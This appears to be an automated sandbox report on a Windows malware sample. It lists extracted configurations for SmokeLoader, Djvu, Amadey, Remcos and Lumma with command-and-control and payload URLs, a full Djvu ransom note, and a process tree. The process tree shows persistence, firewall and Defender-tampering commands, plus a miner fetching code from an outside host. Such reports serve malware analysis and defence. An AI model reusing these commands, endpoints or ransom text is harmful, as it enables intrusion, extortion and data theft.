Resubmissions
29/02/2024, 16:06
240229-tkj21sdh7t1027/02/2024, 13:03
240227-qat8fshe551027/02/2024, 13:01
240227-p8648shh9w1024/02/2024, 15:38
240224-s2555sge7w1023/02/2024, 17:47
240223-wddmrsfc511023/02/2024, 16:46
240223-t9yxgaee2z1023/02/2024, 14:52
240223-r81nkacd4t1023/02/2024, 14:41
240223-r2gbcabb951023/02/2024, 14:40
240223-r1195acb5s1023/02/2024, 13:27
240223-qp9xfsge5t10Analysis
- max time kernel
170s - max time network
1805s - platform
windows10-2004_x64 - resource
win10v2004-20240221-en - resource tags
- submitted
23/02/2024, 17:47
General
- Target 6958ACC382E71103A0B83D20BBBB37D2.exe
- Size 232KB
- Sample240223-wddmrsfc51
- SHA256 078f586ebb8a22305540fb5982b2521f1b82e4317f286e13bab680fff0a9d164
Malware Config
Extracted
-
smokeloader
-
tfd5
Extracted
-
smokeloader
-
2022
-
http://trad-einmyus.com/index.php
-
http://tradein-myus.com/index.php
-
http://trade-inmyus.com/index.php
Extracted
-
djvu
-
http://habrafa.com/test1/get.php
-
extension
.lkhy
-
offline_id
OxV6DGl22io8sqMOW1zCCOlzPiv4f1Vqzw7Y8zt1
-
payload_url
http://brusuax.com/dl/build2.exe
http://habrafa.com/files/1/build3.exe
-
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. Do not ask assistants from youtube and recovery data sites for help in recovering your data. They can use your free decryption quota and scam you. Our contact is emails in this text document only. You can get and look video overview decrypt tool: https://we.tl/t-uNdL2KHHdy Price of private key and decrypt software is $999. Discount 50% available if you contact us first 72 hours, that's price for you is $499. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0851ASdw
Extracted
-
amadey
-
4.17
-
http://185.215.113.32
-
install_dir
00c07260dc
-
install_file
explorgu.exe
-
strings_key
461809bd97c251ba0c0c8450c7055f1d
-
url_paths
/yandex/index.php
Extracted
-
remcos
-
1800
-
xrootx.zapto.org:2404
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
viewer.exe
-
copy_folder
viewer
-
delete_file
false
-
hide_file
true
-
hide_keylog_file
true
-
install_flag
true
-
keylog_crypt
true
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
viewer
-
mouse_option
false
-
mutex
Rmc-BAHBFO
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
-
lumma
-
https://resergvearyinitiani.shop/api
-
https://technologyenterdo.shop/api
-
https://detectordiscusser.shop/api
-
https://associationokeo.shop/api
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- DcRat 10 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Detect ZGRat V1 3 IoCs
- Detected Djvu ransomware 9 IoCs
- Djvu Ransomware
Ransomware which is a variant of the STOP family.
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 7 IoCs
- Lumma Stealer
An infostealer written in C++ first seen in August 2022.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 2 IoCs
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
- Blocklisted process makes network request 2 IoCs
- Creates new service(s) 1 TTPs
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Stops running service(s) 3 TTPs
- Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Deletes itself 1 IoCs
- Drops startup file 1 IoCs
- Executes dropped EXE 29 IoCs
- Identifies Wine through registry keys 2 TTPs 3 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 59 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 9 IoCs
Detects Themida, an advanced Windows software protection system.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 9 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
- Drops file in System32 directory 7 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Windows directory 5 IoCs
- Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 10 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 20 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Enumerates system info in registry 2 TTPs 8 IoCs
- GoLang User-Agent 23 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 59 IoCs
- Suspicious use of SendNotifyMessage 54 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\6958ACC382E71103A0B83D20BBBB37D2.exe"C:\Users\Admin\AppData\Local\Temp\6958ACC382E71103A0B83D20BBBB37D2.exe"1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C505.bat" "1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 12⤵
-
-
C:\Users\Admin\AppData\Local\Temp\F55D.exeC:\Users\Admin\AppData\Local\Temp\F55D.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F55D.exeC:\Users\Admin\AppData\Local\Temp\F55D.exe2⤵
- DcRat
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\Temp\F55D.exe"C:\Users\Admin\AppData\Local\Temp\F55D.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F55D.exe"C:\Users\Admin\AppData\Local\Temp\F55D.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3768 -s 5685⤵
- Program crash
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3768 -ip 37681⤵
-
C:\Users\Admin\AppData\Local\Temp\1124.exeC:\Users\Admin\AppData\Local\Temp\1124.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\6669.exeC:\Users\Admin\AppData\Local\Temp\6669.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6B4C.bat" "1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 12⤵
-
-
C:\Users\Admin\AppData\Local\Temp\782E.exeC:\Users\Admin\AppData\Local\Temp\782E.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\782E.exe"C:\Users\Admin\AppData\Local\Temp\782E.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
-
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\8DE9.exeC:\Users\Admin\AppData\Local\Temp\8DE9.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2256 -s 4323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2256 -s 4283⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\9DC9.exeC:\Users\Admin\AppData\Local\Temp\9DC9.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\1000486001\new.exe"C:\Users\Admin\AppData\Local\Temp\1000486001\new.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 8083⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000538001\1800.exe"C:\Users\Admin\AppData\Local\Temp\1000538001\1800.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Modifies registry class
-
C:\ProgramData\viewer\viewer.exe"C:\ProgramData\viewer\viewer.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
\??\c:\program files (x86)\internet explorer\iexplore.exe"c:\program files (x86)\internet explorer\iexplore.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000558001\kiliqiuang.exe"C:\Users\Admin\AppData\Local\Temp\1000558001\kiliqiuang.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1000558001\kiliqiuang.exe"C:\Users\Admin\AppData\Local\Temp\1000558001\kiliqiuang.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\MicrosoftEdge\Updates\msedge.exe"4⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1000564041\do.ps1"2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com3⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbe68d9758,0x7ffbe68d9768,0x7ffbe68d97784⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1904 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1940 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1780 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2964 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2980 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3568 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4636 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=4840 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=5108 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3584 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:84⤵
- Modifies registry class
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5304 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5240 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3720 --field-trial-handle=2092,i,11925076028612129887,431155870936417905,131072 /prefetch:84⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffbe62c46f8,0x7ffbe62c4708,0x7ffbe62c47184⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:34⤵
-
-
